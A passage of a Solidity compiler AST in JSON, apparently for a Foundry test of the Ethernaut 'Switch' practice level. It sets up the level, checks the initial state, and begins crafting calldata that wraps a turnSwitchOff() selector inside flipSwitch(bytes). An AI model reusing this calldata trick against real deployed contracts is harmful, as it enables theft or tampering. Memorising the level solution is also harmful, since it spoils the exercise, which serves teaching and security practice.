payable"}],"expression":{"id":64358,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"873:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"876:10:147","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"873:13:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"873:20:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64363,"nodeType":"ExpressionStatement","src":"873:20:147"},{"expression":{"id":64368,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64364,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64315,"src":"903:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64366,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64320,"src":"942:5:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64365,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"915:26:147","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64367,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"915:33:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"903:45:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64369,"nodeType":"ExpressionStatement","src":"903:45:147"},{"assignments":[64372],"declarations":[{"constant":false,"id":64372,"mutability":"mutable","name":"factory","nameLocation":"972:7:147","nodeType":"VariableDeclaration","scope":64423,"src":"958:21:147","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"},"typeName":{"id":64371,"nodeType":"UserDefinedTypeName","pathNode":{"id":64370,"name":"SwitchFactory","nameLocations":["958:13:147"],"nodeType":"IdentifierPath","referencedDeclaration":55283,"src":"958:13:147"},"referencedDeclaration":55283,"src":"958:13:147","typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}},"visibility":"internal"}],"id":64377,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":64375,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"982:17:147","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_SwitchFactory_$55283_$","typeString":"function () returns (contract SwitchFactory)"},"typeName":{"id":64374,"nodeType":"UserDefinedTypeName","pathNode":{"id":64373,"name":"SwitchFactory","nameLocations":["986:13:147"],"nodeType":"IdentifierPath","referencedDeclaration":55283,"src":"986:13:147"},"referencedDeclaration":55283,"src":"986:13:147","typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}}},"id":64376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"982:19:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}},"nodeType":"VariableDeclarationStatement","src":"958:43:147"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":64384,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64372,"src":"1049:7:147","typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}],"id":64383,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1041:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64382,"name":"address","nodeType":"ElementaryTypeName","src":"1041:7:147","typeDescriptions":{}}},"id":64385,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1041:16:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64381,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1035:5:147","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1035:23:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":64378,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64315,"src":"1011:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1021:13:147","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1011:23:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":64387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1011:48:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64388,"nodeType":"ExpressionStatement","src":"1011:48:147"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64389,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1069:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64391,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1072:9:147","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1069:12:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64392,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1069:14:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64393,"nodeType":"ExpressionStatement","src":"1069:14:147"},{"expression":{"arguments":[{"id":64397,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64322,"src":"1108:6:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64394,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1094:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64396,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1097:10:147","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1094:13:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:21:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64399,"nodeType":"ExpressionStatement","src":"1094:21:147"},{"expression":{"id":64416,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64400,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"1125:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64405,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64315,"src":"1171:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64409,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64372,"src":"1196:7:147","typeDescriptions":{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwitchFactory_$55283","typeString":"contract SwitchFactory"}],"id":64408,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1188:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64407,"name":"address","nodeType":"ElementaryTypeName","src":"1188:7:147","typeDescriptions":{}}},"id":64410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1188:16:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64406,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1182:5:147","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1182:23:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":64412,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1207:11:147","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":64404,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1151:19:147","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64413,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1151:68:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64403,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1143:8:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64402,"name":"address","nodeType":"ElementaryTypeName","src":"1143:8:147","stateMutability":"payable","typeDescriptions":{}}},"id":64414,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1143:77:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64401,"name":"Switch","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55228,"src":"1136:6:147","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Switch_$55228_$","typeString":"type(contract Switch)"}},"id":64415,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1136:85:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"src":"1125:96:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"id":64417,"nodeType":"ExpressionStatement","src":"1125:96:147"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64418,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1231:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64420,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1234:9:147","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1231:12:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1231:14:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64422,"nodeType":"ExpressionStatement","src":"1231:14:147"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"665:5:147","parameters":{"id":64323,"nodeType":"ParameterList","parameters":[],"src":"670:2:147"},"returnParameters":{"id":64324,"nodeType":"ParameterList","parameters":[],"src":"680:0:147"},"scope":64543,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64445,"nodeType":"FunctionDefinition","src":"1504:137:147","nodes":[],"body":{"id":64444,"nodeType":"Block","src":"1531:110:147","nodes":[],"statements":[{"expression":{"arguments":[{"id":64431,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64322,"src":"1555:6:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64428,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1541:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1544:10:147","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1541:13:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1541:21:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64433,"nodeType":"ExpressionStatement","src":"1541:21:147"},{"expression":{"arguments":[{"arguments":[{"id":64436,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64315,"src":"1604:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64439,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"1623:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":64438,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1615:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64437,"name":"address","nodeType":"ElementaryTypeName","src":"1615:7:147","typeDescriptions":{}}},"id":64440,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1615:17:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64435,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1584:19:147","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64441,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1584:49:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64434,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1572:11:147","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1572:62:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64443,"nodeType":"ExpressionStatement","src":"1572:62:147"}]},"documentation":{"id":64425,"nodeType":"StructuredDocumentation","src":"1436:63:147","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1513:8:147","parameters":{"id":64426,"nodeType":"ParameterList","parameters":[],"src":"1521:2:147"},"returnParameters":{"id":64427,"nodeType":"ParameterList","parameters":[],"src":"1531:0:147"},"scope":64543,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64542,"nodeType":"FunctionDefinition","src":"1696:986:147","nodes":[],"body":{"id":64541,"nodeType":"Block","src":"1724:958:147","nodes":[],"statements":[{"expression":{"arguments":[{"id":64452,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64322,"src":"1748:6:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64449,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1734:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64451,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1737:10:147","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1734:13:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1734:21:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64454,"nodeType":"ExpressionStatement","src":"1734:21:147"},{"assignments":[64456],"declarations":[{"constant":false,"id":64456,"mutability":"mutable","name":"data","nameLocation":"1779:4:147","nodeType":"VariableDeclaration","scope":64541,"src":"1766:17:147","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":64455,"name":"bytes","nodeType":"ElementaryTypeName","src":"1766:5:147","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":64475,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"666c697053776974636828627974657329","id":64462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1839:19:147","typeDescriptions":{"typeIdentifier":"t_stringliteral_30c13adec91872243f797e6f9ca682ad108854e1f771ca6bee08c6550c7198d7","typeString":"literal_string \"flipSwitch(bytes)\""},"value":"flipSwitch(bytes)"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_30c13adec91872243f797e6f9ca682ad108854e1f771ca6bee08c6550c7198d7","typeString":"literal_string \"flipSwitch(bytes)\""}],"id":64461,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1829:9:147","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":64463,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1829:30:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":64460,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1822:6:147","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":64459,"name":"bytes4","nodeType":"ElementaryTypeName","src":"1822:6:147","typeDescriptions":{}}},"id":64464,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1822:38:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"arguments":[{"arguments":[{"arguments":[{"hexValue":"7475726e5377697463684f66662829","id":64470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1902:17:147","typeDescriptions":{"typeIdentifier":"t_stringliteral_20606e15b70f0894e0e83ae9593ae406a94abb5adcfcf0d169c6784f02198dc3","typeString":"literal_string \"turnSwitchOff()\""},"value":"turnSwitchOff()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_20606e15b70f0894e0e83ae9593ae406a94abb5adcfcf0d169c6784f02198dc3","typeString":"literal_string \"turnSwitchOff()\""}],"id":64469,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1892:9:147","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":64471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1892:28:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":64468,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1885:6:147","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":64467,"name":"bytes4","nodeType":"ElementaryTypeName","src":"1885:6:147","typeDescriptions":{}}},"id":64472,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1885:36:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":64465,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1862:3:147","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":64466,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1866:18:147","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"1862:22:147","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":64473,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1862:60:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":64457,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1786:3:147","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":64458,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1790:18:147","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"1786:22:147","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":64474,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1786:146:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"1766:166:147"},{"assignments":[64477,64479],"declarations":[{"constant":false,"id":64477,"mutability":"mutable","name":"success","nameLocation":"1948:7:147","nodeType":"VariableDeclaration","scope":64541,"src":"1943:12:147","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":64476,"name":"bool","nodeType":"ElementaryTypeName","src":"1943:4:147","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":64479,"mutability":"mutable","name":"err","nameLocation":"1970:3:147","nodeType":"VariableDeclaration","scope":64541,"src":"1957:16:147","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":64478,"name":"bytes","nodeType":"ElementaryTypeName","src":"1957:5:147","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":64487,"initialValue":{"arguments":[{"id":64485,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64456,"src":"2000:4:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":64482,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"1985:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":64481,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1977:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64480,"name":"address","nodeType":"ElementaryTypeName","src":"1977:7:147","typeDescriptions":{}}},"id":64483,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1977:17:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":64484,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1995:4:147","memberName":"call","nodeType":"MemberAccess","src":"1977:22:147","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":64486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1977:28:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes 